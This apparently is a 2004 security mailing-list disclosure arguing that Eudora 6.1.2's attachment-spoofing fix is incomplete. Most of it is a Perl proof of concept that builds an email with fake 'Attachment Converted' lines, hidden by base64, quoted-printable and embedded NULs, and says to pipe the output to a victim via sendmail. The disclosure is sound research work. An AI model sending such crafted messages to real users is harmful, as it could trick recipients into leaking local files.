Eudora 6.1.2 for Windows was released on 21 June 2004. The release notes http://www.eudora.com/download/eudora/windows/6.1.2/RelNotes.txt say: > SECURITY > Fixed case where attachments could be spoofed via base64 encoded > (plain-text, inline) MIME parts. Not so. Harmless demo below. Cheers, Paul Szabo - psz@xxxxxxxxxxxxxxxxx http://www.maths.usyd.edu.au:8000/u/psz/ School of Mathematics and Statistics University of Sydney 2006 Australia #!/usr/bin/perl -- use MIME::Base64; print "From: me\n"; print "To: you\n"; print "Subject: Eudora 6.1.2 on Windows spoof\n"; print "MIME-Version: 1.0\n"; print "Content-Type: multipart/mixed; boundary=\"zzz\"\n"; print "X-Use: Pipe the output of this script into: sendmail -i victim\n\n"; print "--zzz\n"; print "Content-Type: text/plain\n"; print "Content-Transfer-Encoding: 7bit\n\n"; print "With spoofed attachments, we could 'steal' files if the message was forwarded (not replied to).\n"; print "\n--zzz\n"; print "Content-Type: text/plain; name=\"b64.txt\"\n"; print "Content-Transfer-Encoding: base64\n"; print "Content-Disposition: inline; filename=\"b64.txt\"\n\n"; $z = "Within base64 encoded, can use embedded NUL or without:\r Attachment Converted\x00: \"c:\\winnt\\system32\\calc.exe\"\r Attachment Converted: \"c:\\winnt\\system32\\calc.exe\"\r \r\n"; print encode_base64($z); print "\n--zzz\n"; print "Content-Type: text/plain; name=\"qp.txt\"\n"; print "Content-Transfer-Encoding: quoted-printable \n"; print "Content-Disposition: inline; filename=\"qp.txt\"\n\n"; print "Within quoted-printable, can use embedded NUL or linebreak:\n"; print "Attachment Converted=00: \"c:\\winnt\\system32\\calc.exe\"\n"; print "Attachment Converted= : \"c:\\winnt\\system32\\calc.exe\"\n"; print "\n--zzz--\n";